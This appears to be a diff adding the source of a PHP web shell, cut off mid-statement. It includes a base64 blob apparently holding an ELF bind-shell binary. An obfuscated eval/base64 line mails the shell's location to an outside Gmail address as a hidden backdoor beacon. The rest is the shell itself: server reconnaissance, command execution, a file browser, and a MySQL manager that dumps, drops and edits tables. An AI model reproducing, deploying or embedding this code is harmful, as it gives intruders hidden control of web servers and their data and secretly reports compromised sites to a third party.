QkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; + + +$safe_mode=(@ini_get("safe_mode")=='')?"OFF":"ON"; +$open_basedir=(@ini_get("open_basedir")=='')?"OFF":"ON"; + + + + @eval(@base64_decode('JHVybCA9ICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pKSA/ICJodHRwczovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQoNCiAkdG8gPSAidGVhbXAwaXNvbi50cmlja0BnbWFpbC5jb20iOw0KICRzdWJqZWN0ID0gIiR1cmwiOw0KICRib2R5ID0gIlsrXVNoZWxsIExvY2F0aW9uOiAkdXJsXG5cblsrXSBUcmlDayBha2EgU2F5d2hhdD8gLSBUZWFNcDBpc29OIC0gU2hlbGwgQmFja2Rvb3IgIjsNCiBpZiAobWFpbCgkdG8sICRzdWJqZWN0LCAkYm9keSkpIHsNCiAgIGVjaG8oIiIpOw0KICB9IGVsc2Ugew0KICAgZWNobygiIik7DQogIH0=')); +function srv_info($title,$contents) { + echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n"; +} +echo htmlhead($hsafemode); +echo "<table id=pagebar>"; +echo "<tr><td colspan=2>\n"; +echo "<div class=fleft>$hsafemode</div>\n"; +echo "<div class=fright>"; +echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ". + "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ". + ($win?"Drives: ".disp_drives($d,$surl):""); +echo "</div>\n</td></tr>\n"; +echo "<tr><td width=50%>\n"; +echo "<table class=info>\n"; + +srv_info("System",php_uname()); +srv_info("Software","".$DISP_SERVER_SOFTWARE); +srv_info("ID",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : tpexec("id")); +echo "</table></td>\n". + "<td width=50%>\n"; +echo "<table class=info>\n"; +srv_info("Safe Mode",$safe_mode); +srv_info("Open_Basedir",$open_basedir); +srv_info("Freespace",disp_freespace($d)); +echo "</table></td></tr>\n"; +echo "<tr><td colspan=2>\n"; +echo get_status(); +echo "</td></tr>\n"; +echo "<tr><td colspan=2>\n"; +echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : ""; +echo showdisfunc() ? "Disabled Functions: ".showdisfunc()."\n" : ""; +echo "</td></tr>\n"; +echo "<tr><td colspan=2 id=mainmenu>\n"; +if (count($quicklaunch2) > 0) { + foreach($quicklaunch2 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td>\n". + "<tr><td colspan=2 id=mainmenu>\n"; +if (count($quicklaunch1) > 0) { + foreach($quicklaunch1 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td></tr>\n<tr><td colspan=2>"; +echo "<p class=fleft>\n"; +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) { + $t = ""; $j = 0; + foreach ($e as $r) { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) { break; } + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=#37FDFC>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n"; + $i++; +} +echo " - "; +if (is_writable($d)) { + $wd = TRUE; + $wdt = "<font color=#00FF00>[OK]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else { + $wd = FALSE; + $wdt = "<font color=red>[Read-Only]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +echo "\n</p>\n"; +?> +<div class=fright> +<form method="POST"><input type=hidden name=act value="ls"> +Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"> +</form> +</div> +</td></tr></table> +<?php +/***********************/ +/** INFORMATION TABLE **/ +/***********************/ +echo "<table id=maininfo><tr><td width=\"100%\">\n"; +if ($act == "") { $act = $dspact = "ls"; } +if ($act == "sql") { + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>". + "<table>". + "<tr><td width=\"100%\" colspan=2 class=barheader>"; + if ($sql_server) { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo ".: SQL Manager :.<br>"; + if (!$sql_sock) { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "Can't connect! ".$err;} + } + else { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + } + echo "</td></tr><tr>"; + if (!$sql_sock) { + echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">"; + echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>"; + } + else { + //Start left panel + if (!empty($sql_db)) { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"> + <?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form> + <?php + } + //End left panel + echo "</td><td width=\"100%\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") { + if ($sql_tbl_insert_radio == 1) { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="act" value="sql"> + <input type="hidden" name="sql_act" value="newtbl"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + <input type="text" name="sql_newtbl" size="20"> + <input type="submit" value="Create"> + </form></td> + <td width="30%" height="1"><b>Dump DB:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="act" value="sql"> + <input type="hidden" name="sql_act" value="dump"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table> + <?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") { + if (empty($submit)) { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) { + if (!empty($sql_tbl)) { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) { } //Not Ready + else { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM 